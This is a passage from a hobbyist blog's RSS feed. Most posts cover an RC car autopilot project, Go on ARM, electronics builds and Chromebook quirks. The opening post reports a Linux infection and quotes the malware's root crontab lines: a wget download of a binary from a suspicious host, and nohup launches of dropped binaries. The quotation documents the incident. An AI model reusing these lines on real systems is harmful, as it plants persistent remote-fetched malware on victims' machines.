The particular virus uses Perl to run a script that masquerades as &lt;tt&gt;/usr/sbin/apache/log&lt;/tt&gt;. It overwrites &lt;tt&gt;/var/spool/cron/crontab/root&lt;/tt&gt; to fetch various things over reboot including writing various binaries like &lt;tt&gt;/etc/atddd&lt;/tt&gt;. Some example lines:&lt;/p&gt;
&lt;pre&gt;*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;*/99 * * * * nohup /etc/cupsdd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
*/100 * * * * nohup /etc/kysapd &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&amp;amp;
&lt;/pre&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        These are all x86 statically linked binaries. I don&amp;amp;#8217;t think they&amp;amp;#8217;re run too good on ARM 🙂
        
        Time to nuke the system. It&amp;amp;#8217;s the only way to be sure.&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>First flying of the year</title>
      <link>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</link>
      <pubDate>Sun, 23 Feb 2014 15:03:03 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/first-flying-of-the-year/</guid>
      <description>&lt;p&gt;I dusted my 
&lt;a href=&#34;http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;T-28 Trojan&lt;/a&gt; off and took it for a fly in the 
&lt;a href=&#34;https://goo.gl/maps/ZBqkB&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Allmend&lt;/a&gt; today. Hard to say no to such nice weather. I could even feel my fingers when I got back!&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg&#34; alt=&#34;IMG_20140223_155354&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-151&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140223_155354-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Unstable heading</title>
      <link>https://juju.nz/michaelh/2014/02/unstable-heading/</link>
      <pubDate>Sun, 16 Feb 2014 19:48:42 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/unstable-heading/</guid>
      <description>&lt;p&gt;The replacement wishbone arrived so the cars in good shape, but still no luck with the heading controller. I can get it to slowly oscillate along a straight line by using a low Kp and restricting the steering, but the step response is poor. Adding a differential term based off the GPS heading didn’t help and showed up the high frequency noise you’d expect from a differential.&lt;/p&gt;
&lt;p&gt;I suspect there’s quite a bit of lag in the GPS heading and that it has a hard time calculating on tight, small radius turns. This seems reasonable as the heading must come from the velocity angle or difference in position. Measuring and plotting would help…&lt;/p&gt;
&lt;p&gt;Next step is to wire up the MPU-6050 based gyro I got off ebay. 
&lt;a href=&#34;http://www.i2cdevlib.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;i2cdevlib&lt;/a&gt; has a driver for it that uses the 
&lt;a href=&#34;https://code.google.com/p/simplo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Fastwire&lt;/a&gt; ATMEGA I2C library, but I’ve stripped out so much there’s not much original code left. The board is physically a bit tight so it’ll be tricky to fit.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Heading controller progress</title>
      <link>https://juju.nz/michaelh/2014/02/heading-controller-progress/</link>
      <pubDate>Sun, 02 Feb 2014 16:55:18 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/heading-controller-progress/</guid>
      <description>&lt;p&gt;The heading controller is basically working. The big changes were reducing the maximum steering angle to reducing how much trouble the controller can get itself into, and putting the gain on the dial so I could tune it while driving. There’s still a lot of slow oscillation so I I’ll add a differential term to counter how steering angle integrates to heading.&lt;/p&gt;
&lt;p&gt;The reliability problem has gone after switching from the golang 
&lt;a href=&#34;http://golang.org/cmd/gc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gc&lt;/a&gt; compiler to 
&lt;a href=&#34;http://gcc.gnu.org/onlinedocs/gccgo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gccgo&lt;/a&gt;. I think there’s a problem with the runtime as the whole app locks up and gdb reports all threads being in a function with ‘futex’ in the name. I want to report this to the golang team, but how do you reduce “a 10 thread 1000 line program, on ARM, on a random kernel, in the cold, in a noisy environment, sometimes locks up after 10 minutes of activity.”&lt;/p&gt;
&lt;p&gt;Next step is the differential term. I only have GPS heading so I’ll look at the run data and see how noisy the heading differential is. Getting a 
&lt;a href=&#34;http://www.adafruit.com/products/1032&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;gyro&lt;/a&gt; is tempting.&lt;/p&gt;
&lt;p&gt;Actually, the zeroth step is replacing the 
&lt;a href=&#34;http://www.conrad.ch/ce/de/product/232789/Reely-EL347FEL347R-Ersatzteil-Untere-Querlenker-vorne-hinten&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;front wishbone&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg&#34; alt=&#34;IMG_20140202_165208&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-138&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/02/IMG_20140202_165208-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I must have half broken it in the first Great Crash, and last nights glue job didn’t hold. Conrad want an excessive 50 CHF including shipping for two of them and a new bumper. German word of the day: a bumper is the much more awesome 
&lt;a href=&#34;http://www.conrad.ch/ce/de/product/223353/Reely-MV1401-Ersatzteil-Frontrammer&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Frontrammer&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding watchdogs to track down a halt</title>
      <link>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</link>
      <pubDate>Sat, 01 Feb 2014 20:39:17 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/02/adding-a-watchdog-to-track-down-a-halt/</guid>
      <description>&lt;p&gt;The car controller is dropping out now and again for no obvious reason. I thought it was due to the cold changing the internal RC oscillator frequency and making the serial communications unreliable, but I’ve switched to a 12 MHz crystal and it’s no better. The problem doesn’t happen inside, so I suspect it’s interference from the motor causing a serial error which the serial driver locks up on. Restarting the program without resetting the hardware clears the fault so I should be able to handle it in software as well.&lt;/p&gt;
&lt;p&gt;I’ve added a watchdog on all of the interesting dimensions: GPS data, GPS lock, input from the remote, heartbeats from the board, and two-way communications via a ping. Hopefully the fault will now show up in the logs.&lt;/p&gt;
&lt;p&gt;I’ll dump the message and error counter to the log as well to see if the rates change when driving.&lt;/p&gt;
&lt;p&gt;Heh, next thing you know my car will be running Borgmon…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fixing bad AVR fuses the hard(er) way</title>
      <link>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</link>
      <pubDate>Wed, 29 Jan 2014 20:01:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/fixing-bad-avr-fuses-the-harder-way/</guid>
      <description>&lt;p&gt;Lesson for the day: always put the big ICs in sockets. I fitted a crystal to the AVR on the interface board yesterday and managed to brick the chip by setting the fuse values to use an oscillator that didn’t exist. Thanks for the day: the person who invented 
&lt;a href=&#34;http://en.wikipedia.org/wiki/Desoldering#Desoldering_braid&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;desoldering braid&lt;/a&gt;. It’s awesome and got the pins clean enough that I could just lever the old chip out.&lt;/p&gt;
&lt;p&gt;I’ve now fitted a socket, a new processor, and gone to a 12 MHz crystal. This should take care of the serial baud rate problems when the chip is cold and gives me a bit more resolution on the control signals out to the servos.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Heading controller tests</title>
      <link>https://juju.nz/michaelh/2014/01/heading-controller-tests/</link>
      <pubDate>Sun, 26 Jan 2014 20:27:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/heading-controller-tests/</guid>
      <description>&lt;p&gt;The heading controller didn’t work out as well. I had one bug when converting from 0..360 degrees to -Pi..Pi radians, but most of the problems were due to reliability and a lack of speed.&lt;/p&gt;
&lt;p&gt;You need quite a bit of room when testing as you need to go &amp;gt; 15 km/h to get a good heading from the GPS and to give the wheels something to turn against. Using the three position switch to change modes and dump back into manual mode works well, so I only had a few low speed bumps.&lt;/p&gt;
&lt;p&gt;There’s a reliability problem in the communications between the I/O board and the BeagleBone which I suspect is due to temperature. I’m using the internal RC osciallator on the AVR and, according to the datasheet, the frequency may change ~0.1 MHz between my normal toasty testing place inside and the zero degrees outside. Time to fit a crystal and perhaps take it up to 20 MHz at the same time to give lower noise in the software PWM. The upgrade may be fun as I’ve soldered the AVR onto the board – if I burn the fuses wrong then I don’t know if I can recover the chip without desoldering it.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Speed controller test</title>
      <link>https://juju.nz/michaelh/2014/01/speed-controller-test/</link>
      <pubDate>Sun, 19 Jan 2014 16:26:20 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/speed-controller-test/</guid>
      <description>&lt;p&gt;The speed controller is working well. It’s a simple PI controller but was easy to tune and handles the moderate slope of the road OK. The speed wasn’t very stable at 10 km/s as the motor and gearing doesn’t like going that low, but it was much better at 17.5 km/h (Ethan suggested 20, I suggested 15, we compromised).&lt;/p&gt;
&lt;p&gt;Adding the ‘P’ term made a big difference to the step response.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/video/Speed%20Controller%20Test.mp4&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Speed controller test&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>It’s oscillating!</title>
      <link>https://juju.nz/michaelh/2014/01/its-oscillating/</link>
      <pubDate>Sun, 12 Jan 2014 19:38:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/its-oscillating/</guid>
      <description>&lt;p&gt;I’ve hooked in the demands from the rover to the control board and added a simple PID based speed controller. The three position switch on the remote takes the car from manual control to auto with speed=0 to auto with speed=10 km/h. I’ve hooked in the dial on the remote to change the Ki term so I can fiddle with the response while the car is running.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg&#34; alt=&#34;IMG_20140112_153303&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-114&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153303-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg&#34; alt=&#34;IMG_20140112_153220&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-116&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140112_153220-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It worked quite well, but I caused a ding while fiddling: the gain was high enough to cause the speed to oscillate (peak ~= 30 km/h, with about 5 s period) and it surged into the curb. The bumper worked well, but the rover battery moved forward and put a hole in the box.&lt;/p&gt;
&lt;p&gt;Next is adding a deadband to give finer control and better limits on the maximum drive and integral.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The driving lunchbox</title>
      <link>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</link>
      <pubDate>Sat, 04 Jan 2014 14:52:02 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/01/the-driving-lunchbox/</guid>
      <description>&lt;p&gt;I found a good container to house the electronics on my 
&lt;a href=&#34;https://juju.net.nz/src/nppilot.git/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;never-complete autopilot project&lt;/a&gt;. Here’s some pictures of it mounted onto the car:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg&#34; alt=&#34;IMG_20140104_134442&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-105&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344421-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg&#34; alt=&#34;IMG_20140104_134417&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-107&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344172-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg&#34; alt=&#34;IMG_20140104_134406&#34; width=&#34;300&#34; height=&#34;225&#34; class=&#34;alignnone size-medium wp-image-108&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/01/IMG_20140104_1344061-400x300.jpg 400w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The car is a Conrad 
&lt;a href=&#34;http://www.conrad.de/ce/de/product/376809/Reely-Rhino-III-110-Modellauto-Elektro-Buggy-4WD-EP-250B-RtR-24-GHz&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Rhino III buggy&lt;/a&gt;. It’s a cheapie house brand, but I’ve been really happy the toughness and level of technology so far. Two of the wheels fell off due to poor self-locking nuts but they were an easy fix. The mud is there for authenticity.&lt;/p&gt;
&lt;p&gt;The container is a lunch box which gives me a 180 x 130 mm working area, some protection, and an easy way to keep out the dust. The plastic is a bit brittle so I’ll replace it in the future. The standoffs are M6 x 60 and are far too meaty for the job. I’m a bit worried the container will flex with vibration but it should stiffen up when I screw the 
&lt;a href=&#34;http://beagleboard.org/products/beaglebone%20black&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Beaglebone Black&lt;/a&gt; into it. The clearance from the hot motor should be enough.&lt;/p&gt;
&lt;p&gt;Next step is power for the computer. I’m thinking a ~1000 mAh 2 cell Lipo which should give a couple of hours of life.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Supervisor is working</title>
      <link>https://juju.nz/michaelh/2013/12/supervisor-is-working/</link>
      <pubDate>Sun, 29 Dec 2013 20:51:52 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/supervisor-is-working/</guid>
      <description>&lt;p&gt;The supervisor for my autopilot is working. This is a fairly critical piece that runs on the AVR I/O board and handles the handover between the manual remote, the autopilot, and any safeties.&lt;/p&gt;
&lt;p&gt;This means I have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multi-channel PWM input from the RC receiver.
&lt;ul&gt;
&lt;li&gt;A link with the Go based, BeagleBone hosted pilot that receives demands.
&lt;ul&gt;
&lt;li&gt;A state machine that handles remote to pilot handover.
&lt;ul&gt;
&lt;li&gt;Throttle shutdown on remote loss, pilot loss, and resume on low throttle.
&lt;ul&gt;
&lt;li&gt;And indicators for all. &lt;/ul&gt;
There’s many hacks, like using polling instead of triggering on an input cycle, but it’s getting closer to being safe to try on the real car.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>First tries with Go</title>
      <link>https://juju.nz/michaelh/2013/12/first-tries-with-go/</link>
      <pubDate>Mon, 23 Dec 2013 19:20:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/first-tries-with-go/</guid>
      <description>&lt;p&gt;I’d like to learn 
&lt;a href=&#34;http://golang.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go&lt;/a&gt;, so I’m considering using for the command side of my never complete self driving RC truck project. Here’s some quick notes after a night of hacking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;http://golang.org/doc/effective_go.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Effective Go&lt;/a&gt; is short, detailed, and just right if you’re happy in other languages
&lt;ul&gt;
&lt;li&gt;Go 1.2 builds cleanly on a Samsung ARM Chromebook in a Ubuntu Saucy Crouton chroot
&lt;ul&gt;
&lt;li&gt;The emacs packages are in misc/emacs. Copy to &lt;code&gt;~/.emacs.d/lisp&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Inside emacs, try &lt;code&gt;go-mode&lt;/code&gt; and &lt;code&gt;gofmt&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href=&#34;http://golang.org/pkg/encoding/binary/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;encodings/binary&lt;/a&gt; can encode and decode bytes to structs, so that takes care of the message parsing. &lt;/ul&gt;
The target machine is a ARM Cortex-A8 based BeagleBone Black and so far the ARM support seems first class.&lt;/p&gt;
&lt;p&gt;Aside: You can do a surprising amount in GCC Go without touching the runtime. I wonder if you could write basic code for the AVR in Go?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Christmas star light</title>
      <link>https://juju.nz/michaelh/2013/12/christmas-star-light/</link>
      <pubDate>Sun, 22 Dec 2013 16:36:35 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/christmas-star-light/</guid>
      <description>&lt;p&gt;We’ve got some Christmas stars in the window that needed some illumination. I hacked together a Olimex 
&lt;a href=&#34;https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OLIMEXINO-85&lt;/a&gt;, a 8 mm RGB led, and the support components to make this:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img class=&#34;alignnone size-medium wp-image-85&#34; alt=&#34;IMG_2583&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg&#34; width=&#34;300&#34; height=&#34;200&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-300x200.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583-449x300.jpg 449w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/IMG_2583.jpg 1024w&#34; sizes=&#34;(max-width: 300px) 100vw, 300px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;!--[if lt IE 9]&gt;&lt;![endif]--&gt;&lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-81-1&#34; width=&#34;640&#34; height=&#34;427&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v?_=1&#34; /&gt;
&lt;p&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&#34;&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/Vid-20131222-163519-1.m4v&lt;/a&gt;&lt;/a&gt;&lt;/video&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The video is a one-frame-per-second timelapse (thanks Android!). It’s hard to see as the LED is so bright that the camera is saturating but it’s 60 s on white, 10 s transition to the next colour, 10 s there, then 10 s transition back to white. The colour cycles around the colour wheel, although the purple and cyan are a bit subtle.&lt;/p&gt;
&lt;p&gt;Code is at &lt;a href=&#34;https://juju.net.nz/src/hacks.git/tree/christmas&#34;&gt;https://juju.net.nz/src/hacks.git/tree/christmas&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Regulator board</title>
      <link>https://juju.nz/michaelh/2013/12/regulator-board/</link>
      <pubDate>Fri, 20 Dec 2013 19:40:02 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/regulator-board/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img title=&#34;IMG_20131220_203548.jpg&#34; class=&#34;alignnone size-full&#34; alt=&#34;image&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203548.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img title=&#34;IMG_20131220_203523.jpg&#34; class=&#34;alignnone size-full&#34; alt=&#34;image&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2013/12/wpid-IMG_20131220_203523.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’m pretty happy with this. It’s a USB to 3.3 V 1 A supply using a AMS1117 linear regulator. I used the SMT version as the pin spacing is fine for veroboard and I can hide it away on the bottom of the board. The cable is three pins to give some keying and a bit more strength and hold.&lt;/p&gt;
&lt;p&gt;It could use some hot glue as strain relief on the cable.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>FTDI serial adapters and Chrome OS</title>
      <link>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</link>
      <pubDate>Tue, 17 Dec 2013 21:09:09 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/ftdi-serial-adapters-and-chrome-os/</guid>
      <description>&lt;p&gt;Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p&gt;
&lt;p&gt;The udev scripts are under &lt;code&gt;/lib/udev/rules.d&lt;/code&gt; but I can’t hack it as the rootfs is read only. Let’s see what 
&lt;a href=&#34;https://code.google.com/p/chromium/issues/detail?id=323282&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the devs think.&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>chromium</title>
      <link>https://juju.nz/michaelh/2013/12/chromium/</link>
      <pubDate>Tue, 17 Dec 2013 08:10:22 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/12/chromium/</guid>
      <description>&lt;p&gt;Looks like I’ve run into my first problem: FTDI based USB to serial adapters don’t work on Chrome OS as they seem to be automatically disconnected shortly after plug in. I suspect that it’s udev running the brltty rules, not finding a assistive device, and aborting.&lt;/p&gt;
&lt;p&gt;The udev scripts are under /lib/udev/rules.d but I can’t hack it as the rootfs is read only. Let’s see what the devs think…?&lt;/p&gt;
&lt;p class=&#39;wdgpo_gplus_attachment wdgpo_gplus_article_attachment&#39;&gt;
  &lt;a class=&#39;wdgpo_gplus_article_attachment_link&#39; href=&#39;https://code.google.com/p/chromium/issues/detail?id=323282&#39;&gt;An open-source project to help move the web forward.&lt;/a&gt;
&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>ARM Chromebook as a primary machine</title>
      <link>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</link>
      <pubDate>Sun, 24 Nov 2013 18:28:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2013/11/arm-chromebook-as-a-primary-machine/</guid>
      <description>&lt;p&gt;I’m going to see if my 
&lt;a href=&#34;http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-arm-chromebook&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Samsung ARM Chromebook&lt;/a&gt; can be my primary machine.  I’ve put a 
&lt;a href=&#34;https://github.com/dnschneid/crouton&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;crouton&lt;/a&gt; Ubuntu chroot on a SD card (so it survives the kids dropping out of developer mode) and will mainly SSH into it. I’m not fond of the speed or reliability of SD cards so I’ll see how that goes.&lt;/p&gt;
&lt;p&gt;I’m doing a bit of 
&lt;a href=&#34;http://webpy.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;web.py&lt;/a&gt; and 
&lt;a href=&#34;http://playground.arduino.cc//Main/ArduinoOnOtherAtmelChips&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arduino&lt;/a&gt; (via 
&lt;a href=&#34;http://www.nongnu.org/avrdude/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;avrdude&lt;/a&gt;) hacking at the moment so the combo of a chroot, ARM, and low level mucking about will be entertaining.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Using clobber in machine descriptions</title>
      <link>https://juju.nz/michaelh/2009/04/using-clobber-in-machine-descriptions/</link>
      <pubDate>Thu, 23 Apr 2009 20:22:02 +0000</pubDate>
